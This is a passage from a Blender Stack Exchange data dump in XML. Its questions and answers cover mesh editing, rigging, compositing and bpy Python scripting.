Rigify?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/16246/how-to-do-custom-animation-in-a-mhx-file-made-using-makehuman/16254#16254&quot;&gt;how to do custom animation in a mhx file made using Makehuman&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-02-03T08:50:56.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24159" PostTypeId="2" ParentId="24144" CreationDate="2015-02-03T09:17:19.620" Score="2" Body="&lt;p&gt;You might do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.edit_object&#xA;bm = bmesh.from_edit_mesh(obj.data)&#xA;&#xA;# current selection&#xA;edges = [e for e in bm.edges if e.select]&#xA;&#xA;for e in edges:&#xA;    v1 = e.verts[0].co&#xA;    v2 = e.verts[1].co&#xA;    origin = (v1+v2) * 0.5  # edge origin&#xA;    bmv1 = bm.verts.new(((v1-origin) * 2) + origin)&#xA;    bmv2 = bm.verts.new(((v2-origin) * 2) + origin)&#xA;    bme = bm.edges.new([bmv1, bmv2])&#xA;&#xA;bmesh.update_edit_mesh(obj.data, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I may be mistaken but I don't think at present the pivot point has any influence on bmesh.ops. So a slight modification of your original code gives a matrix to each new edge to scale: &lt;a href=&quot;https://gist.github.com/zeffii/71862f5b1cad1bf1d2c1&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/zeffii/71862f5b1cad1bf1d2c1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-02-25T11:09:05.663" LastActivityDate="2015-02-25T11:09:05.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24160" PostTypeId="1" CreationDate="2015-02-03T09:36:26.713" Score="6" ViewCount="703" Body="&lt;p&gt;I would like to have one object that is always visible in the corner of the monitor, exactly at the same spot and at fixed size, no matter what the camera is tracking and what the scene is showing. How can I do this? Could parenting the camera to the object work? &lt;/p&gt;&#xA;" OwnerUserId="11372" LastEditorUserId="2217" LastEditDate="2015-02-03T14:22:30.950" LastActivityDate="2015-02-03T14:27:24.850" Title="How to fix an object in the view (e.g. corner of the monitor)" Tags="&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24161" PostTypeId="2" ParentId="24160" CreationDate="2015-02-03T10:18:08.987" Score="6" Body="&lt;p&gt;It works the other way around: parent you fixed pos object to the camera, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the object and place it&lt;/li&gt;&#xA;&lt;li&gt;Select the camera and parent &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wahxa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-03T10:18:08.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24162" PostTypeId="2" ParentId="24160" CreationDate="2015-02-03T12:34:31.203" Score="5" Body="&lt;p&gt;You could also, depending on your screen layout, create a small 3D view area in the corner of the screen and choose &lt;em&gt;View&gt; Align View&gt; View Lock to Active&lt;/em&gt; with the object you want to view, selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, whenever you move your object, that specific 3D view will always follow it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9oZm9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also hide the header menu for that 3D view by hovering over the edge of the menu and the 3D view and dragging downwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make sure the 'Lock cameras and layers' option is unselected (it is shown as selected in the image below) in the locked 3D View you can also make it so the object will still be visible even if its layer isn't visible in the main 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1OfuZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-03T14:27:24.850" LastActivityDate="2015-02-03T14:27:24.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24163" PostTypeId="2" ParentId="24108" CreationDate="2015-02-03T13:18:50.913" Score="1" Body="&lt;p&gt;When in edit mode  press &lt;kbd&gt;N&lt;/kbd&gt; and then select &lt;em&gt;Mesh display&gt; angle&lt;/em&gt;.&#xA;Then take a vertex and move it.&lt;/p&gt;&#xA;" OwnerUserId="11129" LastEditorUserId="241" LastEditDate="2015-02-03T13:37:43.073" LastActivityDate="2015-02-03T13:37:43.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24165" PostTypeId="1" AcceptedAnswerId="166485" CreationDate="2015-02-03T14:06:59.197" Score="6" ViewCount="7896" Body="&lt;p&gt;How can I duplicate a geometry with rigging and animation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an animated character with bones, but I need to duplicate it just like a mirror, without messing up or ruining the model.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-02-04T02:54:44.060" LastActivityDate="2020-02-10T17:05:53.440" Title="How to duplicate an object with rig and animation?" Tags="&lt;objects&gt;&lt;armature&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24166" PostTypeId="2" ParentId="2622" CreationDate="2015-02-03T14:49:56.637" Score="2" Body="&lt;p&gt;Add a transparency Node to a mix shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following nodes:&lt;br&gt;&#xA;Geometry, Emission, Transparent BSDF, Mix Shader, and Material Output.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8wUZH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Geometry node makes the emitter one sided by connecting &quot;Backface to Mix Shader/ Fac&quot; (the grey input).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transparent and Emissions also input the the Mix Shader/ (shader inputs the green ones)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the shader connects to the Material output.&lt;/p&gt;&#xA;" OwnerUserId="11376" LastEditorUserId="2217" LastEditDate="2015-02-03T15:13:07.987" LastActivityDate="2015-02-03T15:13:07.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24167" PostTypeId="1" CreationDate="2015-02-03T14:53:48.080" Score="4" ViewCount="4378" Body="&lt;p&gt;I've already tried GPU Rendering and it seem to be twice as fast as the CPU. However I have some situation where tried to render on the GPU, but it doesn't do anything. When I switch to CPU it renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some fur texture/materials using particle systems. I wonder if that causes the GPU not to render, I'm not really sure.&lt;/p&gt;&#xA;" OwnerUserId="11375" LastEditorDisplayName="user1853" LastEditDate="2015-02-03T15:32:50.130" LastActivityDate="2018-11-22T14:37:04.130" Title="Why are there scenes that will not render on GPU but will render fine on CPU?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24168" PostTypeId="2" ParentId="24156" CreationDate="2015-02-03T15:11:30.803" Score="2" Body="&lt;p&gt;Ok, I've found a solution, maybe not the optimum one, but it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for iFace, BFace in enumerate( BMesh.data.polygons ):&#xA;    FaceUVs = []&#xA;&#xA;    for i in BFace.loop_indices: # &amp;lt;-- python Range object with the proper indices already set.&#xA;        l = BMesh.data.loops[i] # The loop entry this polygon point refers to.&#xA;        for j,ul in enumerate(BMesh.data.uv_layers):&#xA;            FaceUVs.append( [ul.data[l.index].uv[0], ul.data[l.index].uv[1]] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10983" LastActivityDate="2015-02-03T15:11:30.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24169" PostTypeId="1" CreationDate="2015-02-03T15:22:23.677" Score="4" ViewCount="2468" Body="&lt;p&gt;I want to use an object as a clipping mask for another object. So that the sound waves take on that wedge shape and can be animated as moving through the wedge shape, but of course you don't see the wedge, only the red sound waves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fKnUL.jpg&quot; alt=&quot;wedge and sound waves objects&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this to be a node setup, probably with ID Masks, Object passes, etc. and not with a boolean modifier as those are unpredictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a lot of research and gotten very close but still can't quite figure it out!&lt;/p&gt;&#xA;" OwnerUserId="6384" LastEditorUserId="2217" LastEditDate="2015-02-03T17:12:28.250" LastActivityDate="2015-02-03T17:12:28.250" Title="Using an object as a clipping mask for another object" Tags="&lt;objects&gt;&lt;nodes&gt;&lt;compositor&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ClosedDate="2015-02-03T17:13:27.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="24170" PostTypeId="1" AcceptedAnswerId="24238" CreationDate="2015-02-03T16:15:02.473" Score="5" ViewCount="3131" Body="&lt;p&gt;I'm making a script to import custom objects, it is still at early stage but so far vertices, faces and uv are created correctly. I want to do weight painting through Blender's Python API but I don't know how to do it properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below an extract of the code that create the objects, how I could add vertex group and relative weights? I know how to extract vertex indices and weights from the input model but don't know how to use them, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Blender version is 2.72)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    for i in range(0,self. subsetCount):&#xA;        subset = self.subset[i]&#xA;        coords = subset.getV3(0)&#xA;        faces = subset.getIndices()&#xA;        me = bpy.data.meshes.new(subset.name+&quot;_Mesh&quot;)&#xA;&#xA;        ob = bpy.data.objects.new(str(i).zfill(2)+'_'+subset.name, me)&#xA;        ob.location = (0, 0, 0)&#xA;        bpy.context.scene.objects.link(ob)&#xA;&#xA;        me.from_pydata(coords, [], faces)&#xA;        me.update(calc_edges=True)&#xA;&#xA;        mat = bpy.data.materials.new(subset.name)&#xA;        mat.diffuse_color = (random.uniform(0.0, 1.0), \&#xA;                             random.uniform(0.0, 1.0), \&#xA;                             random.uniform(0.0, 1.0))&#xA;        me.materials.append(mat)&#xA;&#xA;        for f in me.polygons:&#xA;            f.material_index = 0&#xA;            f.use_smooth = 1&#xA;&#xA;        # vert_uvs = subset.getV2(0x28)&#xA;        # if len(vert_uvs) &amp;gt; 0:&#xA;        #     me.uv_textures.new(&quot;UV0&quot;)&#xA;        #     uvlist = [uv for pair in [vert_uvs[l.vertex_index] for l in me.loops] for uv in pair]&#xA;        #     me.uv_layers[-1].data.foreach_set(&quot;uv&quot;, uvlist)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;found this to add the group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        vxgroup = ob.vertex_groups.new(&quot;group&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;still don't know how to set weights for vertices (best would be at once)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to use something like a &lt;code&gt;foreach_set&lt;/code&gt; but can't figure out how to use it, instead solved this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        for grp in ob.vertex_groups:&#xA;            grp.add(range(0,len(me.vertices)), 1.0, 'REPLACE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is just an example and set all vertices weight in all groups of the object &lt;code&gt;ob&lt;/code&gt; (if you try it in console select another mesh then back to see the weights applied).&lt;/p&gt;&#xA;" OwnerUserId="1155" LastEditorUserId="29301" LastEditDate="2018-10-10T17:54:17.660" LastActivityDate="2018-10-10T17:54:17.660" Title="How to assign vertex groups and bone weights through Blender's Python API?" Tags="&lt;python&gt;&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24171" PostTypeId="2" ParentId="24169" CreationDate="2015-02-03T16:23:07.397" Score="4" Body="&lt;p&gt;With a scene set up like your image, a wedge shape and the curve shape with an array modifier; I created the mask with the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a fully transparent material on the wedge, and the material pass set to 1 (object index pass would work here as well.) Do note that the wedge's top face has to be above the curve shape for the IndexOB or the IndexMA to give a usable mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor use the material, or object index pass as a mask by multiplying (a &lt;em&gt;Mix&lt;/em&gt; node) it with the image's alpha (because the material index pass is set to one there is no need for a &lt;em&gt;Id Mask&lt;/em&gt; node). Then take the black and white masked image from the &lt;em&gt;mix&lt;/em&gt; node and use it as the image's alpha with a &lt;em&gt;Set Alpha&lt;/em&gt; node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5dkur.png&quot; alt=&quot;compositor nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result after using the IndexOB as a mask.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bG0xE.png&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-02-03T16:23:07.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24172" PostTypeId="1" AcceptedAnswerId="24229" CreationDate="2015-02-03T16:26:13.600" Score="3" ViewCount="800" Body="&lt;p&gt;I have a C++ program which creates an array and stores the z-coordinates of the objects blender. How do make use of these values in the python script of blender? I surfed the net and found boost Python but not sure if it would work in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest ways of doing this.&lt;/p&gt;&#xA;" OwnerUserId="11364" LastEditorUserId="241" LastEditDate="2015-02-03T16:27:34.790" LastActivityDate="2015-06-07T13:34:17.493" Title="Use array values from a C++ program in blender" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24173" PostTypeId="1" AcceptedAnswerId="24174" CreationDate="2015-02-03T17:34:55.970" Score="12" ViewCount="13231" Body="&lt;p&gt;I am looking for a way to take all the faces of an object and make each face it's own object.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ucv0L.png&quot; alt=&quot;Basic object to desired solution, each face it&amp;#39;s own object.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image above, you'll see a basic representation of what I'm trying to accomplish. On the left is a shape with faces, all attached. On the right is the result I want, an object for each face. The project I'm working on is much more complicated than this example, so I can't select each face and separate by selection. I have over 3,000 faces to work on.&lt;/p&gt;&#xA;" OwnerUserId="8337" LastEditorUserId="2217" LastEditDate="2015-02-03T17:49:35.310" LastActivityDate="2015-02-03T21:31:30.280" Title="All Faces to Individual Objects" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;faces&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24174" PostTypeId="2" ParentId="24173" CreationDate="2015-02-03T17:40:34.807" Score="24" Body="&lt;p&gt;In edit mode with all the faces selected, press &lt;kbd&gt;space&lt;/kbd&gt; type &lt;code&gt;split&lt;/code&gt; and select &lt;em&gt;Edge Split&lt;/em&gt;. Then press &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;By Loose Parts&lt;/em&gt;. Every face is now a separate object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Warning&lt;/em&gt; separating 3000 faces into different objects will take a while, if not crash blender.&lt;br&gt;&#xA;After splitting the faces, you may have to brake up your mesh in to smaller pieces, then run the &lt;em&gt;By Loose Parts&lt;/em&gt; command. You can select (say half of the faces) and separate them into different objects with &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;Selection&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the new objects' origins relocated, you can select all the objects and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;em&gt;Origin to Geometry&lt;/em&gt;. Or if that keyboard short cut is too long, in the 3D view header &lt;em&gt;Object &gt; Transform &gt; Origin to Geometry&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-02-03T21:31:30.280" LastActivityDate="2015-02-03T21:31:30.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24175" PostTypeId="2" ParentId="14808" CreationDate="2015-02-03T17:43:05.473" Score="8" Body="&lt;p&gt;I haven't tried this myself, but there's a script available for download at &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/3DS_MAX_Scene_Interchange&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/3DS_MAX_Scene_Interchange&lt;/a&gt; that says it'll convert a &lt;code&gt;.max&lt;/code&gt; file into a &lt;code&gt;.scn&lt;/code&gt; file that Blender can use.  The page has instructions on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you might try is just to use 3DS Max to export the &lt;code&gt;.max&lt;/code&gt; file into something that Blender can read, like &lt;code&gt;.obj&lt;/code&gt; (Wavefront) or &lt;code&gt;.dxf&lt;/code&gt;, and import it into Blender from there.  Again, not sure how well it'll work, but it's worth a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need a copy of the 3DS Max software for each of the above techniques.  There's a 30-day trial version on Autodesk's web site, and they also offer a monthly subscription package (just in case you can't afford the permanent license for the full version).&lt;/p&gt;&#xA;" OwnerUserId="11381" LastEditorUserId="15795" LastEditDate="2016-09-26T18:44:56.443" LastActivityDate="2016-09-26T18:44:56.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24176" PostTypeId="2" ParentId="24173" CreationDate="2015-02-03T17:44:35.827" Score="1" Body="&lt;p&gt;Another option - use and apply the Edge split modifier (play with angle setting to tell it above what angle it would split edges)&lt;/p&gt;&#xA;" OwnerUserId="10986" LastActivityDate="2015-02-03T17:44:35.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24177" PostTypeId="1" CreationDate="2015-02-03T18:17:37.740" Score="2" ViewCount="328" Body="&lt;p&gt;My goal is to be able to look the inside structure of a complex object in blender game engine. For this, I am writing a python code that enables me to change the transparency of the object while playing. I activated the transparency (z-transparency) in the material tab and I set the backface culling = false.&lt;br&gt;&#xA;Now, when I start the game you can see parts of the inside structure of the object even if I set the alpha value equal to 1.&lt;br&gt;&#xA;Here are 2 samples tho show what I mean. Transparency mode on the left is set to: &lt;em&gt;Opaque&lt;/em&gt;, on the right image is &lt;em&gt;Alpha Sort&lt;/em&gt;:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WoZDpm.png&quot; alt=&quot;Transparency mode: Opaque&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/jrfS8m.png&quot; alt=&quot;Transparency mode: Alpha Sort&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the transparency mode to alpha sort, hides much more the inner structure. But you can still see open parts that let you look inside the object. Why does this happen? What I would like to see is more something like this&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DxbAWm.png&quot; alt=&quot;Transparency deactivated&quot;&gt;&lt;br&gt;&#xA;When I change the transparency value of the object, I should be able to see more and more through the object, thus showing the inner structure of it. Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="11380" LastEditorUserId="2217" LastEditDate="2015-02-03T18:43:47.320" LastActivityDate="2015-02-03T18:43:47.320" Title="How to see inner structure of an object in blender game engine?" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24179" PostTypeId="1" CreationDate="2015-02-03T18:28:00.093" Score="5" ViewCount="641" Body="&lt;p&gt;Is there a way to flip or change the normal vector of a face using python in the blender game engine?&lt;/p&gt;&#xA;" OwnerUserId="11380" LastActivityDate="2015-03-27T06:18:27.770" Title="How to flip normals with python in blender game engine?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;&lt;normals&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24180" PostTypeId="2" ParentId="24167" CreationDate="2015-02-03T19:00:46.523" Score="1" Body="&lt;p&gt;Try updating your blender version. Some of the older versions before 2.73 did not support functions on the GPU that were supported on the CPU. Make sure you set your Feature Set to Experimental when rendering on the GPU to ensure everything is supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major limiting factor for rendering on the GPU is texture size. If you have many textures, they can't all fit into VRAM (in their uncompressed versions)&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-02-03T19:00:46.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24181" PostTypeId="1" AcceptedAnswerId="24200" CreationDate="2015-02-03T19:56:57.507" Score="2" ViewCount="759" Body="&lt;p&gt;So I made this:  &lt;img src=&quot;https://i.stack.imgur.com/p6cZy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every object is seperate objects (each leg, the main body, the neck, the torso, the head...) and I was wondering if it would be better to rig or to move each piece or something else?&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-02-24T07:39:51.250" Title="Best way to animate a robot/turret?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24182" PostTypeId="2" ParentId="24173" CreationDate="2015-02-03T20:02:34.740" Score="6" Body="&lt;p&gt;also you can copy, paste and run this code, making all with 1 clic :D  :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.select_all(action='SELECT')&#xA;bpy.ops.mesh.edge_split()&#xA;bpy.ops.mesh.separate(type='LOOSE')&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zJzE3.png&quot; alt=&quot;script&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in order to set the &quot;origin_geometry&quot; in each new face run this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.select_all(action='SELECT')&#xA;bpy.ops.mesh.edge_split()&#xA;bpy.ops.mesh.separate(type='LOOSE')&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UfBbd.png&quot; alt=&quot;script2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="11077" LastEditDate="2015-02-03T21:31:05.193" LastActivityDate="2015-02-03T21:31:05.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24183" PostTypeId="1" AcceptedAnswerId="24185" CreationDate="2015-02-03T20:16:30.623" Score="5" ViewCount="3778" Body="&lt;p&gt;I made an animation with bones/rig and I'm trying to preview it at 60fps, but it is only is shown at 40-30fps.&lt;br&gt;&#xA;Is it possible to fix this somehow?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-02-04T02:49:44.460" LastActivityDate="2015-02-04T02:49:44.460" Title="Preview viewport animation at 60fps?" Tags="&lt;animation&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24184" PostTypeId="2" ParentId="24181" CreationDate="2015-02-03T20:29:24.353" Score="3" Body="&lt;p&gt;There are several ways you can do this, but here is how I would do it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;First, add an empty: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UbvYf.png&quot; alt=&quot;Add empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now parent all of the objects to it by selecting them, and then selecting the empty and pressing &lt;kbd&gt;Ctrl/kbd&gt;+P&lt;/kbd&gt; &lt;em&gt;&gt; Object&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iY4Wh.png&quot; alt=&quot;Parent to Object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you move the empty, you should see that your robot follows it. Also there will be lines from the origin of each object to the &lt;em&gt;Empty&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now make an armature for each object on your robot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iAErt.png&quot; alt=&quot;Armatures&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can select the mesh and add a &lt;em&gt;Copy Rotation&lt;/em&gt; constraint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8gL9p.png&quot; alt=&quot;Copy Rotation constraint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally select the armature you want to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TYj3N.png&quot; alt=&quot;Select armature&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now when you move the empty, your robot moves, and when you rotate the armature, the object copies that rotation.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-03T20:29:24.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24185" PostTypeId="2" ParentId="24183" CreationDate="2015-02-03T20:38:25.933" Score="6" Body="&lt;p&gt;From your comment, I gather that the FPS text is red, and below the desired rate. This is perfectly normal sadly, and just means your computer can not calculate the frames fast enough to keep up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The displayed frame-rate is the actual number of frames calculated per second, and is displayed in red to let you know that is not the actual rate of playback. Notice that if it is going at full speed it will display the FPS text in white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try cutting down on Modifiers, especially the subsurf ones, as this will exponentially increase the speed.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-03T20:38:25.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24186" PostTypeId="1" CreationDate="2015-02-03T20:44:28.990" Score="2" ViewCount="1331" Body="&lt;p&gt;I'm not sure if this is something to do with the preset or a default setting that I can't find the switch for. I'm trying to finally learn Blender after years of 3ds Max and I was extremely glad that it now ships with the Max and Maya style UI options. In edit mode, when I CTRL-Click to select multiple objects, Blender will try to automatically select any points in between the two I select, unless I go back, unselect the auto-selected point and try selecting again. And if there's multiple points between my two selection points, forget it. I see where this could be a useful feature but not as a default, so how do I turn it off?&lt;/p&gt;&#xA;" OwnerUserId="11384" LastActivityDate="2017-12-08T13:07:14.253" Title="How do I turn off &quot;smart&quot; multiple selection? (3ds Max UI preset)" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
